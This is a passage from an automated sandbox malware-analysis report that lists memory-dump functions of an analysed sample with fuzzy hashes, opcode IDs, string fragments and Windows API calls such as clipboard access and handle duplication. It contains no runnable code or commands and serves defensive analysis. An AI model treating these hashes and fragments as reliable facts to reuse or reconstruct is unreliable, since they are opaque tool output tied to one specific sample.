Opcode Fuzzy Hash: 31b599946b193c9a789b8faa1de8acbda13e1cf9f632b11c363d5af0299428cd
Instruction Fuzzy Hash: B222C139E00214CFEB14DBA4C48079EBBB6FF89364F24856AD445AB355DB36DC42CB92

Function 389CB2BA Relevance: .6, Instructions: 562COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6916d1d5ea668a61dcb4d89b7c431d46859901c7e4bdcb51b9d4dbf6ab7d20d2
Instruction ID: 31dd75fd31c938820702f6f8bf14781eeb220f188b980a2cacaca4aa8f17daef
Opcode Fuzzy Hash: 6916d1d5ea668a61dcb4d89b7c431d46859901c7e4bdcb51b9d4dbf6ab7d20d2
Instruction Fuzzy Hash: DD227178E40209CFFB10CBA8C49079EB7F6FB49354F608426E445EB391DA36DC819B92

Function 0011A500 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ee4bfc6d4a3249ab53c7e4bbd52322d48538ff1ec194e871cdbffe3aa611d80
Instruction ID: d80c0bf720f75d662caf03849292f375fa692e9017989fc715cfc209ac8af45c
Opcode Fuzzy Hash: 4ee4bfc6d4a3249ab53c7e4bbd52322d48538ff1ec194e871cdbffe3aa611d80
Instruction Fuzzy Hash: 8CD18071A012048FDB14CF68D8807ADBBB2EF88310F54857AD909DB395DB35DD85CB92

Function 00114A98 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02993e0ba428e7cc48194c55528298edfec5d65b6820990b56dc3e000b33d14
Instruction ID: bb71bf149fe82b77bd295f8c399dc4949b5a35eaab92a03610ee6cb923d2a5ca
Opcode Fuzzy Hash: a02993e0ba428e7cc48194c55528298edfec5d65b6820990b56dc3e000b33d14
Instruction Fuzzy Hash: 9DB13F70E042098FDF28CFA9D8917EDBBF2AF48714F148539D815E7294EB749885CB85

Function 389CAD60 Relevance: 14.1, Strings: 11, Instructions: 394
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 389CAF0F
$q, xrefs: 389CAE8D
$q, xrefs: 389CAF2C
DR]5, xrefs: 389CB097
$q, xrefs: 389CAF03
$q, xrefs: 389CAEE0
XM, xrefs: 389CB10B
$q, xrefs: 389CAE81
$q, xrefs: 389CAED4
XM, xrefs: 389CB1EC
$q, xrefs: 389CAF38

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: DR]5$XM$XM$$q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-2264155270
Opcode ID: 29694e13868523483e03afd011f5d100a15ff869ca746d2207add7b0043327da
Instruction ID: 83337b5e5f3caed28faf3c59525b9e59e31efac8682f8f11e3ad3a584f528315
Opcode Fuzzy Hash: 29694e13868523483e03afd011f5d100a15ff869ca746d2207add7b0043327da
Instruction Fuzzy Hash: 5FE17C74E003098FEB15DFA8D49069EB7F6BB88315F608529E405EB355DB32EC46CB92

Function 389CB6E8 Relevance: 10.5, Strings: 8, Instructions: 469COMMON

Download Yara Rule

Strings

$q, xrefs: 389CBC45
(\]5, xrefs: 389CBBDA
$q, xrefs: 389CBC39
$q, xrefs: 389CBC79
$q, xrefs: 389CBC6D
$q, xrefs: 389CBCA1
(\]5, xrefs: 389CBCCE
$q, xrefs: 389CBCAD

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: (\]5$(\]5$$q$$q$$q$$q$$q$$q
API String ID: 0-1659197660
Opcode ID: 91366f22e5dc5d0e01c39e2b60480655843e1c54f346cd4d23d4ccb5f542e841
Instruction ID: fcd7e6968fa247deae6c1c701cb3886f614b2d32602778b06aa110edafcfc1a9
Opcode Fuzzy Hash: 91366f22e5dc5d0e01c39e2b60480655843e1c54f346cd4d23d4ccb5f542e841
Instruction Fuzzy Hash: D5025B34E40209CFEB14CFA8D88079DB7F6EB45358F50896AE405EB251DB32ED46CB92

Function 00118729 Relevance: 6.8, Strings: 5, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`]5, xrefs: 00118EC8
@ ]5, xrefs: 001188BA
`"]5, xrefs: 00118836
p$]5, xrefs: 001187A6
8]5, xrefs: 00118EAA

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: 8]5$@ ]5$`]5$`"]5$p$]5
API String ID: 0-4245522692
Opcode ID: 77772f76aafc21182503615e4e714fe021bc09d91f860c3271e4d3453bcea7cb
Instruction ID: 74a7670efa0d33dfcbe0d5f439e8958153c0bfd91a6d92ec668fd86197f5ad44
Opcode Fuzzy Hash: 77772f76aafc21182503615e4e714fe021bc09d91f860c3271e4d3453bcea7cb
Instruction Fuzzy Hash: A9129B72B012058BDB29AB68D45166CB3E3EBC5311B608A3AE001DF355DF71FD879B92

Function 38EA5E88 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 38EA5F06
GetCurrentThread.KERNEL32 ref: 38EA5F43
GetCurrentProcess.KERNEL32 ref: 38EA5F80
GetCurrentThreadId.KERNEL32 ref: 38EA5FD9

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: eea8c94b09294db91f9ab3210e87b40edeb102a117125f9fb9e6503d85e28db8
Instruction ID: 0e3beb2431c787ba8fef9d459699861fceb482f7ca71aac07cb6ec5988b9c1b9
Opcode Fuzzy Hash: eea8c94b09294db91f9ab3210e87b40edeb102a117125f9fb9e6503d85e28db8
Instruction Fuzzy Hash: F35153B5D003098FDB14DFAAC545BDEBBF1EF88310F208059E419AB2A0DB78A941CF65

Function 38EA5E81 Relevance: 6.1, APIs: 4, Instructions: 116
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 38EA5F06
GetCurrentThread.KERNEL32 ref: 38EA5F43
GetCurrentProcess.KERNEL32 ref: 38EA5F80
GetCurrentThreadId.KERNEL32 ref: 38EA5FD9

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: c4fa99498510604aa440343efec6f02bc778d0f282ca076842eed8e5e82eedc2
Instruction ID: 7e5d5de1a200a08575b321dd21787075d290a4931fb6b0ad53e5513bf61c3d0c
Opcode Fuzzy Hash: c4fa99498510604aa440343efec6f02bc778d0f282ca076842eed8e5e82eedc2
Instruction Fuzzy Hash: B15176B5D043098FDB14DFA9C4457EEBBF1EF88310F208059E029AB2A1DB789941CF65

Function 38EA5E79 Relevance: 6.1, APIs: 4, Instructions: 116
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 38EA5F06
GetCurrentThread.KERNEL32 ref: 38EA5F43
GetCurrentProcess.KERNEL32 ref: 38EA5F80
GetCurrentThreadId.KERNEL32 ref: 38EA5FD9

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 0fe69bf5e5314ac8358d054c6395021f1bf4b469c93d96bdbc1b196b60842b45
Instruction ID: 9ab21fe3a3b5abc21d80f99cdd320ca339d6b898886a16d18d07816db90691fd
Opcode Fuzzy Hash: 0fe69bf5e5314ac8358d054c6395021f1bf4b469c93d96bdbc1b196b60842b45
Instruction Fuzzy Hash: 7C5176B5D003098FDB14DFA9C5457EEBBF1AF88310F208059E029AB3A0DB789941CF65

Function 389C91E8 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 389C929F
$q, xrefs: 389C9258
$q, xrefs: 389C9293
$q, xrefs: 389C9264

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: 3ae99ec0cec883ef1d8d6d357ed487530b418cf0e5c004debf4e1f22ee5b4ca7
Instruction ID: 7edaf16b5c62d3f96b3aba87d31d9d0d0de26e7c63ba1584c1f68c911ae3f2c4
Opcode Fuzzy Hash: 3ae99ec0cec883ef1d8d6d357ed487530b418cf0e5c004debf4e1f22ee5b4ca7
Instruction Fuzzy Hash: 0B915D74B002198FDB54DB69C8607AEBBB6BFC8340F508569D909EB348EF71DD428B91

Function 389CCFE0 Relevance: 4.5, Strings: 3, Instructions: 796
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 389CD3EB
$q, xrefs: 389CD3D7
$q, xrefs: 389CD3DF

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: $q$$q$$q
API String ID: 0-3067366958
Opcode ID: 7bc22bc80d50095372cfef487c2899fe8e57e1f04675b67f6636fc5a252b4e4f
Instruction ID: 51d9a93c0f6824562cedc718f8b1b59d5bd422a6666e50d3632dfaa225839072
Opcode Fuzzy Hash: 7bc22bc80d50095372cfef487c2899fe8e57e1f04675b67f6636fc5a252b4e4f
Instruction Fuzzy Hash: 9E625934A003198FDB15DF68D990A9EB7B2FF84305B648A68D005AF359DB71FD86CB81

Function 0011ECC8 Relevance: 4.1, Strings: 3, Instructions: 397
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teq, xrefs: 0011F038
Teq, xrefs: 0011EF8E
PJAq, xrefs: 0011F079

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: PJAq$Teq$Teq
API String ID: 0-3612174805
Opcode ID: 9aefcd8c5bc69db937bfc34583228611d6cca4e21ae7d11e8126dcc827181028
Instruction ID: ba486b2ffa0f83c0eef5779e0da2a93c58e31bf48572c15229887c3d62d1c9e5
Opcode Fuzzy Hash: 9aefcd8c5bc69db937bfc34583228611d6cca4e21ae7d11e8126dcc827181028
Instruction Fuzzy Hash: 2DE15C34A002159FDB28DBA8C490AAD77F2FF89310F648579E805EB355DB35ED86CB81

Function 389C4C10 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fq, xrefs: 389C531D
XPq, xrefs: 389C4D3D
\Oq, xrefs: 389C4DC7

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: fq$XPq$\Oq
API String ID: 0-132346853
Opcode ID: ceeeb40f76f9cd75b2748c453fd7f62757e3e3e2afe3c249fb023b6d4916fcc4
Instruction ID: efddf0e586df3f718a300c002ce8c25934c8dd3b601f0216c5adbb301dada108
Opcode Fuzzy Hash: ceeeb40f76f9cd75b2748c453fd7f62757e3e3e2afe3c249fb023b6d4916fcc4
Instruction Fuzzy Hash: 03615D31F00208DFEB149BA5C815BAEBBF6FB88310F20852AE506AB395DE755D458F91

Function 00114810 Relevance: 2.7, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

\Vzm, xrefs: 001149D2
\Vzm, xrefs: 0011487F

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: \Vzm$\Vzm
API String ID: 0-640428073
Opcode ID: 9feb93d1985b304070bb3fd27db9fcde577c46d6a1047af59a5448175d5b396b
Instruction ID: a6790e83be2f9d178ece5f76c152725e3058b51e03e24c1ad4f3791b7ee158aa
Opcode Fuzzy Hash: 9feb93d1985b304070bb3fd27db9fcde577c46d6a1047af59a5448175d5b396b
Instruction Fuzzy Hash: 32717D70E003499FDB28DFA9D8817DEBBF2AF48714F148139E415A7254DB749881CB85

Function 00114804 Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

\Vzm, xrefs: 001149D2
\Vzm, xrefs: 0011487F

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: \Vzm$\Vzm
API String ID: 0-640428073
Opcode ID: 60c71e515fce543030bb9e1fed6388ab3484f8e73118a8d7f2adb815fbfebc09
Instruction ID: 0726a1e7f08d25a25a3c12b0dc852b7967c2231d732af8480f5e7e7ec6081011
Opcode Fuzzy Hash: 60c71e515fce543030bb9e1fed6388ab3484f8e73118a8d7f2adb815fbfebc09
Instruction Fuzzy Hash: C4719C70E003499FDF28CFA8D9817DEBBF2BF48714F148129E415AB254EB749881CB85

Function 389C91D8 Relevance: 2.7, Strings: 2, Instructions: 173COMMON

Download Yara Rule

Strings

$q, xrefs: 389C9258
$q, xrefs: 389C9293

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 1f45ecd3ca0a7728649ed8ea5fc8b2543427ace1f90215a3f3e87c2e41ec7a28
Instruction ID: 29d9c1ee0c30809ec1f36e7fe322bc789a99884a19414da60796856d614f3d77
Opcode Fuzzy Hash: 1f45ecd3ca0a7728649ed8ea5fc8b2543427ace1f90215a3f3e87c2e41ec7a28
Instruction Fuzzy Hash: 44514F74B012049FDB54DB79C860BAE7BF7AF88340F508569D919EB348DB31DD428B91

Function 0011F930 Relevance: 2.6, Strings: 2, Instructions: 148COMMON

Download Yara Rule

Strings

4'q, xrefs: 0011F9D5
4'q, xrefs: 0011F9B2

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: b4d8986b1428ba2026701236fd6a6e65c366d40af5e88abb8a557255078d2986
Instruction ID: 7e4fcc2cf3c18bcf83aacb30b9d5fd4bc032d9a4da8ed58c4d3c66a93316b6cc
Opcode Fuzzy Hash: b4d8986b1428ba2026701236fd6a6e65c366d40af5e88abb8a557255078d2986
Instruction Fuzzy Hash: 71518E70E002099FCB05EBA8D455ADEBBB2FF89300F504169E405BF266DB34AD46CF56

Function 389C2071 Relevance: 2.6, Strings: 2, Instructions: 98COMMON

Download Yara Rule

Strings

@1]5, xrefs: 389C210D
@1]5, xrefs: 389C2175

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: @1]5$@1]5
API String ID: 0-3021202247
Opcode ID: ef32a7e52a3209dcd5c2187e4b9c881d3a3e86ba4001f72727e840db49f58e84
Instruction ID: 11446116c0c36de1cead09f608c81e750d585d23905d00e010e8f9f392fce390
Opcode Fuzzy Hash: ef32a7e52a3209dcd5c2187e4b9c881d3a3e86ba4001f72727e840db49f58e84
Instruction Fuzzy Hash: FF316C35E046059FDB09CFB4C854A9EBBF2AF89350F10855AE806AB360DB71AD46CB41

Function 389C2080 Relevance: 2.6, Strings: 2, Instructions: 91COMMON

Download Yara Rule

Strings

@1]5, xrefs: 389C210D
@1]5, xrefs: 389C2175

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: @1]5$@1]5
API String ID: 0-3021202247
Opcode ID: 1a34b6161bbe0e53b80d5c9bbb580be22ed025ea310d47284334ab0897ba9b28
Instruction ID: c4f897ae662e90fc7c7c8ff8dc8e6be2313302bc2f24955291eefe90df307e83
Opcode Fuzzy Hash: 1a34b6161bbe0e53b80d5c9bbb580be22ed025ea310d47284334ab0897ba9b28
Instruction Fuzzy Hash: E4314D35E10609DBDB09CFB5C854A9EB7F6BF89310F10851AE906EB350DB71AC46CB41

Function 0011A072 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

@1]5, xrefs: 0011A10D
@1]5, xrefs: 0011A14C

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: @1]5$@1]5
API String ID: 0-3021202247
Opcode ID: c2287243f817049a7a23635e5b203c7c8b709864a0c97e3230faf96876eed406
Instruction ID: 95d9cf2c27f4f87d7b770ed97df3fb25051f9ddfbdfbbd5c06a56e32f64c9606
Opcode Fuzzy Hash: c2287243f817049a7a23635e5b203c7c8b709864a0c97e3230faf96876eed406
Instruction Fuzzy Hash: 8E315035E0020A9BDB09CFA4D8957DEFBB2BF49300F50C629E405EB255EB70AD868B51

Function 0011A080 Relevance: 2.6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

@1]5, xrefs: 0011A10D
@1]5, xrefs: 0011A14C

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: @1]5$@1]5
API String ID: 0-3021202247
Opcode ID: 5254e3919f97d8d05afcc8e5b5586b95ffaf9f8270317177fde69e32ebc07355
Instruction ID: bae2664945c03d4cc834fbc03c6706c749946b06efb48f5a5f18a3482921b128
Opcode Fuzzy Hash: 5254e3919f97d8d05afcc8e5b5586b95ffaf9f8270317177fde69e32ebc07355
Instruction Fuzzy Hash: 38215331E002099BDB09CFA5D8546DEFBB2FF89300F50C625E405EB240DB71AC86CB51

Function 00119F70 Relevance: 2.6, Strings: 2, Instructions: 73COMMON

Download Yara Rule

Strings

D0]5, xrefs: 0011A02B
D0]5, xrefs: 00119FEA

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: D0]5$D0]5
API String ID: 0-2884980661
Opcode ID: 1e096f6864d56262d443f7e008dc25b9359134a49ee963d81b30781bc18a916a
Instruction ID: ce521ca5801216a0f2d7856933a60073ef1fd9b9bb9f7ec8b1f2c09084f8f985
Opcode Fuzzy Hash: 1e096f6864d56262d443f7e008dc25b9359134a49ee963d81b30781bc18a916a
Instruction Fuzzy Hash: B8214F31E042159BCB19CFA4D4506DEBBB2AF89310F21852AF815FB290EB70AD868B41

Function 00119F80 Relevance: 2.6, Strings: 2, Instructions: 70COMMON

Download Yara Rule

Strings

D0]5, xrefs: 0011A02B
D0]5, xrefs: 00119FEA

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: D0]5$D0]5
API String ID: 0-2884980661
Opcode ID: 80ca53e63859f9363191caeab473ed4794ff67c04380576ada07332239dcb0c8
Instruction ID: f8cb5d0774ef230141388cb355b22cbc76ce99b30c97718ce73141fef5190bcf
Opcode Fuzzy Hash: 80ca53e63859f9363191caeab473ed4794ff67c04380576ada07332239dcb0c8
Instruction Fuzzy Hash: 3E213231E006159BCB1DCF64D4506DEFBB2AF49310F60852AF815F7340DB70AD858B51

Function 0011FEF8 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

`Qq, xrefs: 0011FF59
`Qq, xrefs: 0011FF16

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: `Qq$`Qq
API String ID: 0-3032102428
Opcode ID: f36e0a3fe0a7f32cedaa13b76f9a4a95a1e26a88d7552ed1141a10668050fea5
Instruction ID: 96829809a9357c8e34098e3012e707cca4c4aa3767f0787f496776f1d373fc97
Opcode Fuzzy Hash: f36e0a3fe0a7f32cedaa13b76f9a4a95a1e26a88d7552ed1141a10668050fea5
Instruction Fuzzy Hash: 7B012170E00308EFDB04EFB5D451B5DBBB2FF84310F609169D905AF295EA716E069B92

Function 38EA2378 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 38EA248A

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 2f08fd4ed0d485ec641b73aa8c63afb8ff4efa19df0505fa57db1ccb57b8b427
Instruction ID: 9675084cd49942e3b67ea49b8bba59769901f2c88e0c92a71c345d16a047aed1
Opcode Fuzzy Hash: 2f08fd4ed0d485ec641b73aa8c63afb8ff4efa19df0505fa57db1ccb57b8b427
Instruction Fuzzy Hash: 7F41AFB5D00309DFDB14CFAAC880ADEBBB5BF48710F64812AE819AB210DB759945CF90

Function 38EA2374 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 38EA248A

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 9f14e07d6851686611d8fd4f1fddba753d9308e6cc2743a579d749211ecd21ca
Instruction ID: 8651b10382c20dec2d444190dd64323142845fc7462f047614e8c697b3f5f4a9
Opcode Fuzzy Hash: 9f14e07d6851686611d8fd4f1fddba753d9308e6cc2743a579d749211ecd21ca
Instruction Fuzzy Hash: 0C41CFB5D00349DFDB14CFA9C880ADEBFB1BF48710F64812AE819AB210DB759945CF90

Function 38EA5CBC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 38EA7029

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 4c070ccef30aa25d8537d709060849e1c27f6c815a27d02627b421a7d012f83a
Instruction ID: a1b546ba7445f03ae15988c254b00db77b4ccf21d1f562a7106cfd3e3251d250
Opcode Fuzzy Hash: 4c070ccef30aa25d8537d709060849e1c27f6c815a27d02627b421a7d012f83a
Instruction Fuzzy Hash: BE4158B9900309CFDB14CF99C884A9ABBF5FF89314F248459E518AB320D775A941CFA0

Function 38EA7CA4 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 38EA7D38

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 2b3ac10ddff750a68482c1e7b2da8ac8f3a17e1df2c90e449fdaf261ccad5ba1
Instruction ID: 0ccbcad7d85d4724ddab55a9c18633d299c7f6ebcb46001992077dde47b35858
Opcode Fuzzy Hash: 2b3ac10ddff750a68482c1e7b2da8ac8f3a17e1df2c90e449fdaf261ccad5ba1
Instruction Fuzzy Hash: 003103B5D01348EFDB14CFA9C984BDDBBF1AF49704F248469E444AB290CBB4A885CF51

Function 38EA76D0 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 38EA7D38

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: c4d65aa2406648ba5e00d5a88f68dabf8740b2e22b197cb0185aaae9db95e1ce
Instruction ID: a26388bc8182735f1006f1329543aee490cd0f04ad5c5ed38e90f9733fd4bffc
Opcode Fuzzy Hash: c4d65aa2406648ba5e00d5a88f68dabf8740b2e22b197cb0185aaae9db95e1ce
Instruction Fuzzy Hash: B83112B1D0130CDFDB14DF99C984BDEBBF1AF49704F208069E444AB290DBB8A845CBA5

Function 38EA60C8 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 38EA6157

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_38ea0000_3Pd480eWHA.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ce919c31c9514f3cad9f6352b9c5695c96e76d900aa7c1ff764c5a34eecbcf60
Instruction ID: 087831d51ab996e1a37cb43d978b8b7694b1930f6bdd95a5265bacb251d3c623
Opcode Fuzzy Hash: ce919c31c9514f3cad9f6352b9c5695c96e76d900aa7c1ff764c5a34eecbcf60
Instruction Fuzzy Hash: B521E6B5D00248AFDB10CFAAD985ADEFFF4EB48310F14841AE958A7350D778A940CF61

Function 38EA60D0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 38EA6157

Memory Dump Source

Source File: 00000009.00000002.2525275775.0000000038EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38EA0000, based on PE: false

